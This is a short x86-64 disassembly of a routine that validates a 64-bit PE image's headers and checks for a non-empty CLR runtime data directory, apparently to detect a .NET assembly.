jmp 0x140014c71
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014c2d
xor al, al
jmp 0x140014c71
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014c41
xor al, al
jmp 0x140014c71
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014c53
xor al, al
jmp 0x140014c71
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014c6f
xor al, al
jmp 0x140014c71
mov al, 1
add rsp, 0x38
ret